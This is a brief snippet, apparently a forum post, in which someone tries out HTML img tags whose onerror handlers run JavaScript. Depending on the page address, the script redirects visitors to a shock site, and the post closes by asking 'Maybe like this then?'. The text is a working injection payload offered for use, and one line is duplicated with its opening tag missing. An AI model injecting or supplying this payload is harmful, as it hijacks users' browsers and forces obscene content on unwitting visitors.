<img src="x" onerror=
"if(document.location.href!='http://altexplorer.net')document.location='//goatse.cx';">
"if(document.location.href!='http://altexplorer.net')document.location='//goatse.cx';">
<img src="x" onerror= "if(document.location.href==='http://4co.in')document.location='//goatse.cx';">
Maybe like this then?